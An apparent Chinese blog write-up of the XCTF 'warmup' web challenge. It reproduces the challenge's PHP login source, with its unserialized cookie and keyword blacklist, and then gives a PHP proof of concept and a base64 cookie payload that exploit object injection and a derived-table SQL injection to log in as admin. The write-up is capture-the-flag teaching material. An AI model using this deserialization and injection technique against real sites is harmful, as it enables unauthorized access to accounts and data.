xctf warmup SQL注入

xctf warmup

下载附件
index.php:



<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title>平平无奇的登陆界面</title>
</head>
<style type="text/css">
    body {
        margin: 0;
        padding: 0;
        font-family: sans-serif;
        background: url("static/background.jpg");
        /*背景图片自定义*/
        background-size: cover;
    }
    
    .box {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        width: 400px;
        padding: 40px;
        background: rgba(0, 0, 0, .8);
        box-sizing: border-box;
        box-shadow: 0 15px 25px rgba(0, 0, 0, .5);
        border-radius: 10px;
        /*登录窗口边角圆滑*/
    }
    
    .box h2 {
        margin: 0 0 30px;
        padding: 0;
        color: #fff;
        text-align: center;
    }
    
    .box .inputBox {
        position: relative;
    }
    
    .box .inputBox input {
        width: 100%;
        padding: 10px 0;
        font-size: 16px;
        color: #fff;
        letter-spacing: 1px;
        margin-bottom: 30px;
        /*输入框设置*/
        border: none;
        border-bottom: 1px solid #fff;
        outline: none;
        background: transparent;
    }
    
    .box .inputBox label {
        position: absolute;
        top: 0;
        left: 0;
        padding: 10px 0;
        font-size: 16px;
        color: #fff;
        pointer-events: none;
        transition: .5s;
    }
    
    .box .inputBox input:focus~label,
    .box .inputBox input:valid~label {
        top: -18px;
        left: 0;
        color: #03a9f4;
        font-size: 12px;
    }
    
    .box input[type="submit"] {
        background: transparent;
        border: none;
        outline: none;
        color: #fff;
        background: #03a9f4;
        padding: 10px 20px;
        cursor: pointer;
        border-radius: 5px;
    }
</style>

<body>
    <div class="box">
        <h2>请登录</h2>
        <form method="post" action="index.php">
            <div class="inputBox">
                <input type="text" name="username" required="">
                <label>用户名</label>
            </div>
            <div class="inputBox">
                <input type="password" name="password" required="">
                <label>密码</label>
            </div>
            <input type="submit" name="" value="登录">
        </form>
    </div>
</body>

</html>

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
	$table = 'users';
	$username = addslashes($_POST['username']);
	$password = addslashes($_POST['password']);
	$sql = new SQL();
	$sql->connect();
	$sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}


?>

index.php上面全是css,没什么好看的。php部分,接收cookie的last_login_info参数,base64解码后反序列化。
把原来的last_login_info拿去base64解码也可以看到,其实内容就是一个ip
在这里插入图片描述这里不用管ip,die了就跳出cookie判断,反正last_login_info已经反序列化了
再下面的就是接收post来的参数,addslashes过滤后进行sql查询。sql查询的具体步骤的conn.php

<?php
include 'flag.php';

 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
    	$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
    	foreach ($blacklist as $value) {
    		if(strripos($this->table, $value)){
    			die('bad hacker,go out!');
    		}
    	}
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

其实就是一个黑名单过滤,拼好query后进行sql查询。在index.php,向last_login_info传入SQL对象后,new SQL()则会直接指向恶意对象从而SQL注入。

POC:

<?php
 class SQL {
    public $table = "(select 'admin' username,'anything' password)a";
    public $username = "admin";
    public $password = 'anything';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
 }
$a = new SQL();
$b = serialize($a);
echo base64_encode($b);
?>

拼好的sql语句为:select username,password from (select ‘admin’ username,‘anything’ password)a where username=‘admin’ and password=‘anything’;
其中表为(select ‘admin’ username,‘anything’ password)a会创建一个虚拟表a,字段username对应admin,字段password对应anything。查询的时候就是从表a查询,肯定能查到admin用户。从而进入if判断

payload:TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDY6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnYW55dGhpbmcnIHBhc3N3b3JkKWEiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6ODoiYW55dGhpbmciO3M6NDoiY29ubiI7Tjt9

在这里插入图片描述be624fe7-c0a4-4031-bf9b-9a6f761483ef

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值